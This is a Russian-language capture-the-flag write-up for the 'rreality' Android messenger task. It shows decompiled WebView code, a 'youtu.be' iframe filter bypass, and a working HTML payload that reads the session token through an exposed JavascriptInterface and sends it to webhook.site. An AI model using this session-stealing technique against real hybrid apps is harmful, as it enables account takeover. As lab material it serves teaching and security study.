Ссылка на задание https://ctf.tinkoff.ru/tasks/rreality
Автор задания: Даниил Фукалов (@denciks), SPbCTF
Сотрудники пришли на совещание в шлемах виртуальной реальности. Они никого не слушают и тайком что-то смотрят. Узнайте, что именно.
Приложение: rreality_879996x.apk
Устанавливаем приложение на эмулятор и запускаем. Нас встречает минималистичная форма входа и регистрации. Создаём аккаунт и входим. Admin уже начал с нами диалог и отправил ссылку на YouTube.
Проваливаемся в диалог.
Помимо любви админа к мемам, замечаем важную деталь, что отправленная им ссылка отобразилась не только как текст, а ещё и в виде встроенного плеера. При нажатии на видео оно воспроизводится прямо в диалоге. Отсюда понимаем, что имеем дело с WebView. Также, это легко заметить, если декомпилировать приложение и посмотреть что представляет из себя код MainActivity.
package com.spbctf.messenger;
import android.os.Bundle;
import android.webkit.WebView;
import androidx.activity.ComponentActivity;
import androidx.activity.compose.ComponentActivityKt;
import kotlin.Metadata;
public final class MainActivity extends ComponentActivity {
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
WebView.setWebContentsDebuggingEnabled(true);
}
}
Замечаем, что разработчик заботливо оставил для нас включенным инструменты отладки веб-вью компонента. В Google Chrome на компьютере переходим в chrome://inspect и анализируем исходники.
Анализируя JavaScript код или методом тыка, замечаем что, если сообщение содержит текст youtu.be
, то приложение считает, что нам отправили ссылку на видео и преобразует его в iframe со встраиваемым плеером:
c = "youtu.be" ...
children: [t.message, t.message.includes(c) && (0, ...
n.jsx)("iframe", {src: t.message.replace(c, "youtube.com/embed/"),
В голову приходит идея отправить сообщение админу со ссылкой на вебхук, в котором в URL будет содержаться youtu.be (обычные вебхуки уже были проверены на этапе метода тыка и они не срабатывали). Отправляем админу нашу ссылку:
https://webhook.site/your_token_key?hey=https://www.youtu.be/watch?v=Dm8gSDnnpbE
На момент написания статьи, похоже, админ уже перестал ходить по ссылкам (или что-то сломалось), но во время CTF можно было увидеть, что админ сходил по ней.
Отлично, теперь нужно придумать как эксплуатировать это.
Во время анализа декомпилированного кода приложения или JavaScript кода в хроме можно было заметить, что из натива в веб пробрасываются три метода:
package com.spbctf.messenger.js;
import android.webkit.JavascriptInterface;
import com.spbctf.messenger.session.SessionController;
import com.spbctf.messenger.ui.MainViewModel;
import kotlin.Metadata;
import kotlin.jvm.internal.Intrinsics;
public final class JsApiProd implements JsApi {
private final MainViewModel mainViewModel;
private final SessionController sessionController;
public JsApiProd(SessionController sessionController, MainViewModel mainViewModel) {
Intrinsics.checkNotNullParameter(sessionController, "sessionController");
Intrinsics.checkNotNullParameter(mainViewModel, "mainViewModel");
this.sessionController = sessionController;
this.mainViewModel = mainViewModel;
}
@Override // com.spbctf.messenger.js.JsApi
@JavascriptInterface
public String getSession() {
return this.sessionController.getSession();
}
@Override // com.spbctf.messenger.js.JsApi
@JavascriptInterface
public String getUsername() {
return this.sessionController.getUsername();
}
@Override // com.spbctf.messenger.js.JsApi
@JavascriptInterface
public void logout() {
this.mainViewModel.logout();
}
}
То есть в JavaScript коде можно вызвать native.getSession()
и вызов передастся в нативную часть приложения (на Kotlin), которая отдаст обратно в веб идентификатор сессии. Такого рода приложения называются гибридными.
Так как iframe обрабатывается тем же WebView, что и основной веб-код, то и для него доступны обращения к этим нативным методам.
Пишем простейшую html страницу с кражей сессии:
<html>
<head>
<script type="text/javascript">
window.onload = function() {
document.location = "https://webhook.site/your_token_key?data=" + native.getUsername() + "_" + native.getSession();
};
</script>
</head>
<body>
</body>
</html>
Размещаем html у себя на хостинге или в Firebase и отправляем ссылку админу. Моя ссылка выглядела примерно так:
https://my-demo.web.app/office?q=https://www.youtu.be/watch?v=Dm8gSDnnpbE
Репортим флаг и продолжаем попытки решить задачу с мемотавром!